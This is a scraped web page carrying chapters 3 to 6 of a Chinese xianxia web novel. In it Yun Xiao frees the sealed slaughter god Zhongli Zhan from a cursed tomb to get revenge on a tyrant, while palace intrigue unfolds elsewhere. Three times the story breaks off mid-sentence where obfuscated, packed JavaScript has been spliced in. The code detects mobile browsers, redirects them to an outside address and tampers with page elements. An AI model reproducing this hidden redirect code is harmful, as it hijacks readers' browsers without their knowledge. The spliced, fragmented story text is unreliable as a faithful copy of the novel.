《剑骨》 3. 第 3 章 血肉为祭,才符合杀神的身份嘛。 钟离湛说完便盯着云绡。 小姑娘眼底的笑意显然淡了些,她低声道:“信徒残躯败体,身瘦骨硬,恐怕不合曦帝的胃口……” 云绡垂下的眼眸微凉,张嘴就要说若他想吃人,她可以在离开这里之后给她骗几个肥头大耳的蠢蛋进来当食物。 那个周泉礼就很不错,长得细皮嫩肉,应当很好嚼。 只是她这话一时没说出口。 云绡为人谨慎,不会随意暴露出自己的底线。 她倒不是觉得钟离湛不会吃人,而是怕自己轻易答应给他送人过来他会永无止境地索取,总要骗人进来送死不是件简单的事。 “嗤。”钟离湛笑了声。 他的声音恢复了些许,不再那么苍老,却还是有些沙哑:“不过是怕死而已。” “是!信徒怕死!”云绡身体颤抖了起来,她闷声粗喘了会儿,像是终于忍不住抽泣,对钟离湛道:“信徒的娘是族人的牺牲品!她因生得貌美便被送予显帝为美人,可显帝残暴,因为有人说美人皮制鼓能奏出仙乐,显帝就……就当着那么多人的面扒光了她衣裳,剥皮剔骨,生生叫她疼死,呜呜……” 云绡忍着哭声:“我当时只有六岁,哭都不敢哭出声,最后娘亲尸骨不存,我也被欺凌长大。我恨啊……我恨显帝,我想要他死!我怕死是因为,我怕我死在他前头,我怕、我怕我将血肉予您为食后,他还活着,他还要害更多无辜的人……” 她拼命磕头,朝钟离湛的方向跪拜,额头上破了的地方终于流下一道鲜血,满脸泪痕与血迹相融,看上去实在叫人不忍。 钟离湛没想过她会有这样悲惨的身世。 他不记得自己究竟死了多久,也不了解而今的朝代下,帝王是明君还是昏庸,原本让她血肉为祭也不过是想试探她的意图。 一个小姑娘会用交神之术,身上断了那么多处也能忍着不喊疼,张口便要杀了自己的父亲,这绝非一般人。 可钟离湛没打算欺负小孩儿的。 尤其是小孩儿现在哭得太惨了些,一边哭一边打嗝,甚至朝他这边匍匐过来几步——拖着她那断了的腿,以手臂用力爬过来。 她披头散发,身上没一块好肉,血迹斑斑的。 像一只被鬣狗咬断了脊骨满身猩红的白兔,连毛发都被打湿,身子骨实则如她自己所说的那样——残躯败体,身瘦骨硬。 钟离湛于心不忍,终于开口:“孤没打算要你的血肉。” 云绡朝杀神坟头爬去的动作顿住,她茫然地抬起头。 “若而今帝王真如你所言,残暴不仁,祸害天下,孤一定会应你所愿,杀了他。” 云绡险些就要笑出声了,但她忍下来了,只是嘴角轻轻抽搐了一下便又扁了下去,泪眼汪汪的,天真又欣喜地朝钟离湛望去。 她才不会在这个时候说什么“若您帮我杀了显帝,我便以血肉相还”这种蠢话,她不言语,是在等他后面的“但是”。 这世上没有任何一个人会无条件地为另一个人做一件事,除了菩萨。 显然,史书上记载残害生灵,屠城灭族之人,绝不是菩萨。 “但是——” 云绡心道:果然。 钟离湛叹息:“你得先将孤脊骨处的剑拔出来。” “剑?”云绡不明所以,她到现在甚至都没能完全适应禁地的黑暗,根本看不清钟离湛的位置,也仅凭着直觉和声音朝他靠近,又如何能在这深底里找到一把剑? 最重要的是,那是一把穿在他脊骨处的剑。 云绡定了定心神,认真解释:“我……我看不见。” “你瞎了?”钟离湛挑眉:“不像。” 毕竟她那双眼实在明亮,比她身上的剑意还赋光辉,能精准地在黑暗中与他对上。 云绡摇头解释:“信徒不是瞎了,是、是这禁地太黑了,我看不见。不如曦帝指引,信徒还有一只手能用,只要能摸到那把剑,信徒一定会想尽办法帮您拔出。” 拔出这把剑,就能让显帝死,简直划算! 至于拔出这把剑之后的后果,那不在云绡的考虑范围内。 钟离湛见她眼神不似作伪,再瞥一眼周遭环境,忍不住心底叹气。 这里实在是太差了。 咒文深刻,青苔都不敢长,禁地下如深潭,禁地上仅一个小口,不论月光如何流转,只在禁地口徘徊,半丝光亮照不见潭底,借光都费劲。 看来也只能他来口述,让云绡根据方位靠近,再让她帮他拔出那把剑,至少这样他的魂魄能离开死躯,自由一些。 “那你……朝前来。” 说完,钟离湛又有些后悔,主要是云绡现在看上去实在太凄惨了点儿,有气无力地好似马上就能死了般,他还让她爬过来——不太人道。 但、他而今也不是人。 钟离湛想要脱离这死躯的欲望更强大——主要那剑遇见了剑意,总于他脊骨处作祟,一阵阵濒死的疼刺激着他,有些难以忍耐。 钟离湛只能默默瞥开了眼,假装自己没看见,再继续指挥云绡的动作。 “前进二十步,好,往右去五步……再朝前一步,再一步……啧,你这步子也太小了。” 杀神似乎不耐烦:“朝前一大步!” 云绡被这宛如就在耳边响起的声音吓了一跳,连带着断了的左手一并用力,整个人往前前进半截身躯,额头与鼻尖顿时撞上了什么坚硬之物,触动伤口,鲜血再度流出。 一丝血迹蜿蜒,她仍看不见,只能感受到血腥气朝周遭四散。就在她面朝着的方向,有什么离她极近,她每一次呼吸的热气都能喷洒其上,再返至自己的脸颊。 钟离湛的确就在云绡的身旁,他的魂魄被剑封印,无法离开死躯,故而此刻他也能感受得到云绡到底离他有多近,甚至能感受到她呼出来的气息。 温热的,带着血腥味的,还有一股蹭在她鼻梁处的桃香。 云绡见杀神没再说话,便知道自己一定是到了,只是不知方才到底撞上了什么,那一下用力到头脑有些发昏。 她缓缓伸出手朝前探去,摸到了近在咫尺的东西,触手冰凉,还有些软弹,像是皮肤。 颤抖的手顺着熟悉的触觉碰到了一丛毛发,云绡浑身上下的鸡皮疙瘩立刻竖起,指尖往下去,是闭着的眼窝。 这是一张脸。 云绡意外地睁大眼睛,便是这样近的距离,她亦无所见。 可她的手很灵活,顺着对方的眉骨摸到了眼睛,再顺着眼睛摸到了鼻梁、鼻尖往下是唇、再是下巴,一张活灵活现的脸随着她指尖的触碰跃然于脑海。 这张脸很年轻。 眼角、嘴角、鼻梁两侧都没有纹路,发丝茂密,只是灰尘较多,厚厚一层堆叠在他菱角分明的五官上。 云绡的手轻得仿佛拂尘,掸去灰尘后,再顺着这张脸往他下颚与脖子摸去。 她有些疑惑,此刻她是伏地的,这张脸居然与她齐平,那便说明钟离湛的大半身躯都埋在了土里。 事实上的确如此。 尘土掩埋了他大半身躯,遮蔽胸膛,四肢束缚。土上浇灌了红泥,每一寸都写满了咒文,生怕他能逃出来半分。 这么多年来,钟离湛都被封印在禁地里,神魂囚于黑暗中,五觉皆失,不知时间流逝,日夜折磨。 能从沉睡中苏醒,钟离湛以为运气占了大半。 恰好有人在封印最松动的这几天掉入禁地,恰好她有贡品,恰好她会交神之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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非但他疼,云绡也疼。 云绡觉得自己完好的那只右手都快被这一下震断了,颤抖的手握紧几次才缓和过来,但她确定自己刚才的确碰到了一把剑的剑柄。 这杀神死状太惨了些。 埋身红泥,项刻咒印,剑封脊骨,还在永不见光之地。 钟离湛缓过这股疼,咬牙道:“你在犹豫什么?” 云绡抿嘴,沉思片刻后问:“你真会帮我杀了显帝?” “若他真是昏君的话,当然。” 得了钟离湛的承诺,云绡便不顾其他了。 反正她筹谋这一切,就是为了让显帝死,所有步骤都按照她计划中进行,顺利得让她有些恍惚,可这点恍惚不至于叫云绡忘却初衷。 她才不管放出这杀神后的后果,她只要知道,她无需背负其他条件,显帝也会死掉,这就够了。 坚定目标后,云绡起身,双膝跪在钟离湛面前。 钟离湛:…… 他看着近在咫尺的少女身躯,她的腰略比他的额头高出几寸,于是那尴尬的位置正对着他的脸,衣袂扫过他的眉心与鼻尖,偏偏还不能躲。 灵魂忍着疼痛挪开半寸,不去看。 可少女身上的气味却顺着身躯的嗅觉传至百骸。 钟离湛啧了声,这小孩儿是不是在桃子上打了个滚?怎么身上到处都是桃味儿? 下一瞬,钟离湛就没空想那些有的没的了。 云绡的手掌精准地握在了他脊骨上方的剑柄上,剑意凝聚,剑身震颤,钟离湛能看见一丝丝银光如漂浮的被风吹乱的毛发,纤细又脆弱,可聚集在一起又柔韧且坚固。 那些光如点如线,越来越亮。 4.第 4 章 粗噶的刺耳声响起,像锈迹斑斑的铁与凹凸不平的石摩擦的声音。 云绡用尽浑身力气,只察觉到掌心下的剑似乎随着她的拔出往上移了半寸便被什么东西卡住,不论她如何去动,甚至左手一并握牢也无可奈何。 力气耗尽,云绡松手,半跪着喘了几口气。 她的喘息全都喷在了钟离湛的耳畔,炙热的带着桃香的气息充盈着他的五感。 钟离湛闭上眼,咬牙忍受方才云绡拔剑时的疼痛,等缓过这股劲儿了,他才开口:“再来。” 于声音中听不出半点起伏。 云绡的左手方才使力过多,断骨处疼得她半边身子都在发麻。 听到催促云绡也不敢耽搁,微微蹙眉后,跪稳了再试了一次。 剑意凝聚之光很耀眼,汇聚在云绡的灵魂深处,让她整个身躯都笼罩着一层淡淡的银辉。 钟离湛确定她是能拔出他身体里这把剑的人,若魂带剑意之人都无法拔出斩魂剑,那钟离湛恐怕永生永世都要留在这封禁地宫之中了。 他能感受到脊骨深处斩魂剑颤动的嗡鸣声,它遇见剑意也急切地想要与之合二为一,却被一股力量阻挠。 云绡第二次尝试也无法,卸力后双手还扶在剑柄上。她的左手暂且动不了了,伤口处的血迹顺着手臂直到手腕,再从掌心往下滑落,一滴一滴落在钟离湛的脖颈处。 滚烫的血液沾上冰凉的皮肤,顺着钟离湛脖颈处的伤口融入他的骨肉里。那一丝暖意是他这么多年再没体会过的鲜活的感受,就好像借着这几滴血便能让他的身躯随灵魂一起复苏般,酥酥麻麻地于脊骨处蔓延。 几乎是舒适的喟叹声吹过云绡的肚腹。 云绡不是傻子,立刻明白这一声被刻意压抑却还是从齿缝中泄露出的沉吟,或许是因为她血液的缘故。 她的心跳漏了一拍,有了片刻迟疑。 “我、我拔不出来。” 云绡的声音带着懊恼与无措的颤抖。 “看出来了。” 钟离湛这时的声音已然没了刚苏醒时的苍老和沙哑,逐渐回归于他本身的清朗,年轻的,带着几分慵懒的。 或许还有方才那几滴血的缘故,他的语调甚至透着几丝从痛苦中终于挣扎出来的轻松。 钟离湛闭上眼不再借视线去看,而是扩散自己的感知,顺着那层被灰尘覆盖的红泥蔓延。他先前魂魄复苏,五感回笼,却也还没醒得这么彻底,借由曦族后裔的血,钟离湛找回了些许自己的能力。 他察觉到了禁地之下的大阵,就连这地宫也十分不寻常。 “你从外面来,可看见了这外面是个什么陈设?” 钟离湛一边以魂魄的力量摸索着掩埋他的红泥与禁地墙面上的咒文,一边问云绡一些外在消息。 云绡没敢动弹,也没想隐瞒,老实道:“在这禁地之外是个祭坛,祭坛三层,分别是七十九阶,六十六阶与三十三阶。但最高一层三十三阶看似到顶,实则于禁地口边还有两层小台阶,砌了铁台加固锁链。” “锁链上有符,一年一换,眼下还未到换时。”说到这里,云绡又是一笑,指着她掉下来的位置到:“我摔下来时还顺手揪了一把,他那禁地锁链上的拘魂符阵应当破了。” 钟离湛没睁眼,他的意识已经探到了她所说的禁地口,那里的拘魂阵的确破了,不过作用并不太大,最重要的还是这些红泥和墙壁上的咒文。 “还有,台阶外有个小祭坛,小祭坛上有圣仙像,那玉像在我来时已经被打碎了。”云绡为了今日,研究神霄塔不知多少回,早已将外围的一切陈设熟记于心。 “玉像背对着神霄塔的方向,但神霄塔的正门却是朝西的,玉像朝东,东方无遮拦,每日早晨紫气之光都会照在玉像上,说是给圣仙加固法力。”云绡道:“远从外围看,这里就像一座坟,祭坛为四方坟包,神霄塔则是面朝西侧取极阴背阳的墓碑。” “除此之外,神霄塔的院落正南方种了一排五鬼木,正北方则是一条沟渠,沟渠上无桥,水渠连通城外金雀岭……我只去过金雀岭一次,彼时年幼,记忆有限,但金雀岭处有深潭,就是从这儿引的水,至于这里的水源头,信徒暂无所知。” 云绡说完顿了顿,又问:“您……可还有什么要问的?” 钟离湛终于睁开了眼,眼底一片冷意:“不,你说得已经足够详尽。” “你说得没错,这里的确是给孤设下的坟冢。”钟离湛道:“祭台一百八十层,是否与这台抵禁地一样深?若孤没猜错,神霄塔下也有地宫,必然挖得与神霄塔的高度分毫不差。” 上下翻转,不论从哪一方来看,这里都是他无可逃脱的坟冢。 “神霄塔门为墓碑正向,正向朝西极阴,但因背东,日出时还能拐弯抹角地采上几分阳气,这才需要于祭台上方最高处设立所谓的圣仙玉像,玉像于日出时采光,便一丝阳气入不到祭坛深处来。” “桑、柳、杨、槐、楝……五鬼木封南,南是除东外采光最足之位,以五鬼木遮拦,更是半丝阳气难入。北方沟渠,鬼不过水,为防孤的魂魄有出逃之机,甚至连桥也不架……如若孤没猜错的话,那沟渠连通的金雀岭上必然也有大阵,恐怕不少巫师守在那儿吧。” 云绡震惊到一时忘了呼吸,声音不自觉地哑了下去:“的确如此,但如今都称他们为仙师,而非巫师。” 禁地密不透风,里三层、外三层,层层有关,几乎在钟离湛的身上压了无数道印。 钟离湛哧地一声:“禁地之上有拘魂阵,禁地之内还有缚鬼咒,满墙咒文年年以血浇灌,满地红泥,压得孤喘不过气来。” 一时静谧,钟离湛又问:“这圣仙,究竟是个什么玩意儿?” “您不知道?!”云绡终于找回了呼吸,轻声道:“传闻两千年前您……霍乱苍生,苍穹指引的一位寻常人赐予神力附身,她以自身血肉化为封印咒文终于将您……困于禁地中,这才得圣仙之名,受后世人祭奠敬仰。” 钟离湛微微挑眉,着实不记得这回事了,事实上……他连自己怎么死的都不知道。 有很长一段时间,他的记忆都出现了偏差,以往尊敬他支持他的信徒后来都换了嘴脸,骂他是个疯子。时间久了,钟离湛也猜疑过自己是不是真的脑子有问题。 否则为了连自己做过的事都毫无印象。 但……那些好歹是过去了。 两千年前? 他居然已经死了两千年了。 故人皆化作黄土,骨头都烂完了。 “罢了。”钟离湛道:“你说那小玉像已经碎了?” “是。”云绡记得清楚,那还是她撞碎的,顺便又提了一句:“三日后才是圣仙节的祭祀之礼,在此之前不会有人前来祭坛。” 那便是说,他还有三天时间……不,已经过去一天了,准确来说是只有两天时间。 两天时间,够不够破这禁地下的缚鬼咒? 钟离湛略抬头:“喂,小孩……你叫什么名字?” 此刻云绡还跪在他跟前,离他脸庞极近,钟离湛的魂魄一抬头便仿佛能蹭上她垂下的发丝,尴尬得让人无所适从:“你后退些。” 云绡只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288239|166931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 略犹豫片刻,便松开了握剑的手,往后退了两步端跪坐好。 “信徒叫云绡,云朵的云,霜绡的绡。” “云绡,你可会破咒?” 云绡垂下的眼眸瞬间亮了起来,但她暂且没动,回答道:“我、自学了一些。” “自学?”钟离湛再度沉默。 他原本是想先让云绡拔剑,待到他的灵魂不被镇魂剑束缚,他便可以自己破除这禁地下的缚鬼咒,眼下看来,得先破咒才能拔剑了。 “所学多少?”钟离湛又问。 云绡道:“满宫我所能到之处,所有与咒、印、符、阵相关的书籍,我都看过。” 钟离湛也不知过了两千年,世间符咒之术究竟是更进一步,还是彻底没落……应该当是没落的,因为他记得自己死前有段时间似乎干过焚烧符咒古籍禁通神炼神等事迹? “你按照我说的来。” 事到如今,也没有更好的办法了。 云绡心跳怦怦加速,她实在是过于兴奋了。 原先她只想着能把这杀神放出来,幸运的话弄死显帝,若是钟离湛不愿意答应弄死显帝,可凭着他杀神的身份也能乱此世道,让显帝焦头烂额亦是云绡的乐趣之一。 眼下看来,她还能在钟离湛这儿学点真正有用的东西。 “先去西面……你看不见的话,便转身朝正后方笔直往前走,西面墙壁上左右两处各刻有九凤图。所谓九凤真官,便是九首人面凤鸟身,其首喷火,有破秽降鬼之用。” 云绡知晓九凤,古书有记,但引九凤需配咒符,那些咒符已经在时间洪流中被遗忘大半。 她走到钟离湛所说的位置,正要抬手去摸,又听见身后的声音道:“擦干你身上的血,莫要沾上墙上的咒文。” 云绡顿了下,先在衣服上擦好,再将满手沾上地上的泥灰,轻轻抚摸墙壁上的刻痕,记下所有咒文与符图。 “现在,我念,你来刻。” “炎火焦生,寸草未发,遂引北水,泽霖血地。” 云绡方才在地上擦灰时摸到了一块碎石,也不知经不经用,选在九凤图旁,刻下这一行小字。 “再画驱水符,冲散西面真火。” 云绡问道:“水从何来?” “你不是说,这座坟的北面是一条沟渠?符咒延长,画至禁地北面墙壁,再回到正西方,朝南书咒,把那两只九凤引过去。” 云绡的呼吸不自觉加快,她手中的碎石划着冰冷的墙壁,在钟离湛的指引下一步步往北方而去。 她的双眼虽在漆黑中什么也看不见,却能于脑海中补全钟离湛形容的地宫壁咒,满墙咒文与符画,自然形成了一个镇鬼之阵。 西为火,北为水,南为木,覆盖在他身上的布满咒文的红泥为土。东是他葬身之处,他脊背上的剑为金,与其他四行咒印相生相克,背后还有个面朝东方的圣仙像压着。 有这五行在禁地里困着钟离湛的鬼魂,也难怪那把镇魂剑难以拔出。 五行破三,死路不成死,而圣仙像也碎了,待到日出时借天光破土,便有一线生路,届时再想拔剑就简单得多了。 云绡暗叹,这位杀神还真是个阵、咒方面的天才,满禁地的咒文,他只需要看一眼就知如何破解。 甚至考虑到她能力有限,故破咒之法是以禁地内在现有的五行破其自身,不靠外力,以改咒达成破咒。 云绡的手轻轻触碰着南面的禁地墙,感受掌心下冰冷的墙面渐渐发烫,一时情不自禁赞叹:“你真的好厉害。” 这样厉害的本领,她也想要。 5.第 5 章 “你真的好厉害。” 空寂的禁地内,这一声轻叹尤为清晰。 钟离湛受用夸赞,也不忘赞对方一句:“你也颇有天赋。” “是吗?”云绡顺杆而上:“那您可能教我一些本领?” 钟离湛微怔,问:“你想学什么?” “反咒。”云绡想也没想便道:“信徒亲眼见到自己的母亲被害,她没有本领反抗,故而我想学反咒……反咒其本无恶,施咒于人后,只要那人不来害我,我也伤不了他。” 这是一个保险自己的咒术。 对一人施以反咒后,只要那人无加害之意,这咒便对其无效,如若那人有加害之行,所害之事皆反其身。 自然,这咒也有弊端,便是刀剑无眼,暗器难防……反咒之作用只用于咒上,为咒所杀,为咒所救。 “你不是博览群书?怎么皇宫里没有教反咒的吗?”小小反咒,为咒术初学者的入门,钟离湛方才见云绡在破咒上一点就通,不像新手。 云绡诚实回答:“因为反咒后来被设为害人之咒,寻常书籍不曾记载,宫中禁书……我碰不到。” “好。”钟离湛心道,这就当是还云绡救他出禁地的回礼,况且这咒术无法主动加害他人,她身世坎坷,学之有益。 云绡立刻笑了起来。 小姑娘年纪很轻,一双眼状若花瓣,笑起来如暗夜皓月般明亮,颇有几分青春靓丽,只是她过于瘦弱,更显下巴削尖。 钟离湛想,等他离开了这里,再给她点儿回礼,请她饱餐一顿吧。 这么瘦,别有一天被饿死了。 云绡已然可以在禁地里听声辨别钟离湛的方位,在钟离湛答应她之后便面朝着对方的方向重新跪下。 这一次她跪得规矩,慎重地对钟离湛磕了个响头道:“多谢曦帝。” 平地生火,火迹沿着地面形成了个云绡从未见过的图腾,于此同时,钟离湛的声音低沉地顺着那咒文喃喃。 星火点亮又灭去,咒文画完后禁地重归黑暗,云绡能听到自己越来越快的心跳声,那双不敢眨一下的眼睛这时缓缓闭上。 她将那咒文痕迹与钟离湛呢喃的咒语深深印在脑海,记在心里,无比畅快。 确定自己记熟之后,云绡才睁开眼,明眸璀璨,笑意盈盈。 “记下了?” 云绡嗯了声:“记下了。” 钟离湛于心中暗叹一句“这么快”,但既然对方说已经记下了,他就不再耗费力气重复一遍了。 “现在……我要做什么?” 云绡问时,钟离湛抬眸看向深邃禁地口上投下来的些许幽暗,干涩的声音如一声气叹了出来。 “等天亮。” - 皇宫以南,扶月殿。 年轻宫婢垂首疾步,绕过廊亭水园,见到扶月殿前守着的大宫女便立刻上前耳语两句。 大宫女闻言脸色微顿,转身便进了扶月殿,掀起珠帘,绕行屏风,走到殿中主人跟前弯膝行礼道:“殿下,天祭台出事了。” 倚靠软榻大半夜没睡过去,好容易在天蒙蒙亮时有些困意的少女,因大宫女这话顿时清醒了过来。 听到大宫女简单将事情重复一遍后,少女鞋都来不及穿,匆匆就要往外走。 大宫女见状连忙拿起披风跟上,半强迫半恳求地让少女穿好衣裳梳好发髻,少女却道:“这么大的事,我哪有心思梳妆?得立刻告诉大皇兄才行。” “天还未亮,想必大殿下也未起身,殿下不必这般急,待奴婢点了灯照路可好?殿下,殿下当心脚下啊!” 眼见着少女步履匆匆,大宫女也不再劝说,只盯着她脚下的路,生怕她摔出个好歹来。 少女带着几名宫婢绕过大半皇宫才终于到了大皇子的中明殿,随行的宫女上前禀告,不一会儿便有太监出来领着九公主入殿见人。 那太监见九公主这身打扮,微不可见地皱了一下眉,但又想起她来是为了何事,便将这点儿不喜压下,反倒宽慰九公主。 “九殿下别急,大殿下已经起了一刻钟,现在就在殿内等着,您慢些走。” 少女因这一路没停歇的奔走,脸色苍白,她紧紧地抓着身侧大宫女的手臂,似乎只有这样才能坚持不倒下。 跟她一同前来的其他几名宫女都守在殿外,中明殿只有大皇子与其身边的太监、少女与少女宫中的大宫女四人于殿内,两坐两立。 大皇子名云光憧,今年已经二十七了。 当今显帝迟迟未立太子,近二十个皇子皇女皆养在宫里,分殿而住,谁也没机会出宫立府。 云光憧为嫡长子,十七岁成婚,十八岁大皇子妃便生了皇长孙,即便如此,云光憧也没得显帝几分重视。皇后求谋多年,显帝才于两年前放他几分权,让他有机会办点儿实事。 圣仙节祭祀便是这些实事之一,去年一场祭祀办得中规中矩,不出彩也不出错,这便是显帝要的结果。 没想到今年才是他执事第二年,便要出篓子了。 “你说……周泉礼绑了云绡去神霄塔,企图破坏祭祀?”云光憧眉心紧蹙,放在膝上的手微微收紧:“宓儿,这话是谁告诉你的?” “是我殿中宫女亲眼所见,亲耳所闻。”九公主云宓扶着心口,平息担忧的轻喘,才道:“昨日是圣仙节首日,往年我都是带着宫女出宫,也让她们见些热闹。但大皇兄也知,宓儿身子自幼不好,这几日连着喝药未能出宫,便由我宫中宫女分三批,按三天轮流放她们出去玩耍,谁知恰好……恰好遇见了礼公子。” “当时礼公子气势汹汹,带着一帮打手横街穿行,似是往皇宫而来,我殿中宫女便留心,怕他闹事。”云宓说到这儿,抬眸朝云光憧看去:“礼公子性子不羁,我知只要这三日内出了任何事,过错都要算到大皇兄头上,才会自作主张,在宫女报他去了角楼后门时,命人跟上。” “谁知云绡妹妹从角楼后门才走出去,礼公子便立刻把人绑了,一路带到了神霄塔,看样子是冲着这次圣仙节祭祀去的。” 云宓说着,脸上的担忧更甚:“我不知他们之间有何恩怨,但眼看祭祀在即,若这时出了问题,大皇兄必要被牵连进去。” 说了这么多,云光憧也听明白了。 可他看云宓的眼神却没那么感激,反而多了几分怀疑。 “我记得你与逍遥王之子关系较好,上次宫宴之后还一起游园,而云绡与你一直不对付。”云光憧问:“周泉礼这么大的动静,你会一点儿也不知情?” 云宓脸色一变,眼神游移。 云光憧沉下脸来:“云宓,不要隐瞒。” 云宓几番张嘴,终是一闭眼,又说了几句:“我与云绡妹妹的关系的确不好,幼时争执,长大了也冷脸相对……但大皇兄知我为人,与云绡妹妹对上时,哪次不是我先退让。” “至于逍遥王之子……” 云宓抿了抿唇,面露惨色:“宫宴后游园,是晨妃之意,晨妃、晨妃娘娘她……” 云宓因常年病着,脸色瓷白,唇色也淡。 此事她难以启齿,咬白了嘴唇,默默流下两行清泪。 云光憧见云宓无声地哭了,又提起晨妃,便也明白她对逍遥王之子无意了。 云光憧年长一众皇子公主许多,对于云宓的过去有所见有所闻,说一句命苦也不为过。 她的生母是显帝微服私访时遇见的歌女,露水情缘怀了云宓,显帝才将之带回宫中。歌女入宫位低,诞下云宓后见她是个公主尤不甘心,以一曲撩动显帝心弦后再怀龙种,疑似男胎。 但皇宫深墙人心复杂,那歌女最终难产,与腹中胎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293404|166931||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿一并去世,年幼的云宓便被养在了晨妃膝下。 当时云宓已经懂事,知晓自己不是晨妃所出。晨妃早年对云宓并不关心,是这两年少女如初出水面的嫩荷,含苞待放,晨妃见之姿容清婉,这才多在她身上放了几分心思。 那心思是好是坏,宫中人人皆知。 逍遥王幼子周泉礼并无过人之处,实打实的一纨绔,但因家世显赫,被晨妃盯上,安排云宓与之接近情有可原。 云宓于此环境中,多是身不由己。 云光憧轻叹一声,心道云宓也非没有脑子,她天不亮便来中明殿报信,未必真的是为了救云绡,也未必真为他打算怕他受牵连。恐怕是想借由他的手,借此事打压一番周泉礼,好断了晨妃让她殷勤逍遥王府的心思。 “这件事我知晓了,你先回去吧。”云光憧说完,在云宓起身后目光从她的脚下扫过一眼,又蹙眉道:“福营。” 太监福营早有安排,听了云光憧的吩咐这才呈上鞋袜。 云光憧瞪了云宓身边的大宫女一眼,冷声道:“若你不会伺候殿下,扶月殿便换会伺候的人上。” 大宫女脸如菜色,连忙跪地求饶。 云光憧见云宓紧紧地攥着袖摆,眉目担忧地落在大宫女身上却只言未发,只能叹气,送她二人赶紧离开。 云宓与宫人们刚走,云光憧便披上大氅朝外疾行,边吩咐福营:“让钱英城整一支小队跟着,你先执本殿令去神霄塔见仲卿仙师,于天祭台会见。” “是!” - 东方初白,神霄塔飞檐下锈迹斑驳的风铃于晨风中叮铃。 一线金光冲散晨雾,伴随着清脆的声响一并落在天祭台的禁地天井口上。 粗壮老旧挂满黄稠符印的铁索轻轻颤动,墙壁灰屑簌簌而落。 云绡没想过能在禁地下见到光,没有那座圣仙小像的阻挡,尘封的腐朽之地终于拨云见日,已然被摧毁的封印与咒文上一片焦黑。 能落入禁地的光芒很微弱,可能是太阳还未完全升起,也可能是有神霄塔的阻挡,阳光永远也照不见禁地口中。 但仅此一线天光,也足够她看清禁地内的一切。 死气沉沉的赤色地面上,有个人被掩埋了半身,红泥堆积于他的胸口处,捆缚了他的四肢,只留在外的肩与头颅。 漆黑的长发落满灰尘,如木根般与地面纠缠,他半垂着脑袋,脸庞隐藏于大片阴影之下。 云绡离他很近,她就正跪在对方的面前,这具身躯没有干枯,没有腐化,像一尊雕塑般,永远驻留了杀神年轻时的容颜。 不是书中记载的青面獠牙,也不是野史所说的满头华发,枯皮鬼骨,竟意外地是一张丰神俊逸、正气朗朗的面容。 年轻、安详,乍一看上去,就像是睡着了一样。 此刻云绡的双手正握在这张脸之后,穿过他脊骨的斩神剑剑柄上,如跪,如抱。 “现在,拔出这把剑。” 已算熟悉的声音于耳畔响起,云绡用尽全力往外拔出。 剑鸣声再起,如割沙砾,震手的摩擦,所有阻力被寸寸折断,云绡能听见那声音对着她粗喘。 “继续,不要停。” 她没敢停,直到拔出这把剑,她已然站立。 手中握着的剑未见锋芒,上面附着斑驳的白骨,方才那些被折断的阻碍,应当就是与剑融为一体的杀神的脊梁了。 云绡只觉得此剑诡异,那般难拔,握在手中却不见半分重量。 “好轻啊。” 她一只手轻轻掂着手中之剑。 便在此时,似有一阵轻风扫过云绡头顶的发,她猛然回身,便见披着玄衣的宽阔胸膛近在咫尺。 钟离湛以掌心样了样云绡头顶的位置,低声叹道:“原来,你这么矮啊。” 6.第 6 章 说话声轻飘飘地落在云绡耳中。 云绡还有些呆愣,她缓慢抬头,顺着那节皓白的手腕,看向刚才突然出现在她身后,以掌丈量她身高的男人。 玄衣如黑火,带着几缕灰烟的飘逸,高大的男子比云绡高出一个头不止,正居高临下地睥睨着她。 就在刚才,云绡还看见了这张脸。 只是她拔出剑前借着微弱的天光所见的是一张被尘土遮掩锋芒,闭眼沉睡的面容。 而此刻倒映在她瞳孔中的男子背对着光,光芒在他身侧萦绕了深深一圈,像是透过了他的身躯照在了云绡的脸上。 他的眼睛很好看,闭上时显得此人五官端方,正气凛然,但一睁开,那双眼尾微翘的狐狸眼便给他添了几分邪性,煞时从正义,化身成了神秘。 钟离湛眼中含笑,面对着云绡愣怔的视线也不动,由她看个够,看到回神为止。 他被埋在泥里两千年,魂魄被斩魂剑钉死在了身躯中,所以云绡掉进禁地之后,他一直都是以一个仰视的角度去看她的。 他知道她瘦弱,知道她年纪恐怕不大,却没想过她身量不太高,毕竟看上去手长脚长的,似乎能到他的肩膀。 故而钟离湛的魂魄随着镇魂剑离体后获得自由,他终于重新能脚踏实地地站在地面上了,这才发现云绡原来很矮,堪堪到他胸膛。 于是手欠地比划了一下。 云绡终于回神了,她先是回头看了一眼还被埋在土里的身躯,那如同雕像一样杀神本尊仍于红泥里沉眠。 再看就站在她面前的男子,眉目含笑,也跟随着她的惊讶,好奇地打量自己的身体,甚至饶有兴趣地评价一句:“啧,真惨。” 云绡:“……” 云绡没有震惊好奇太久,她牢记着自己此行的目的,目光流转后迅速调整自己的方位,对着钟离湛的魂魄就要跪下磕头。 这一磕,又是沉重的响声。 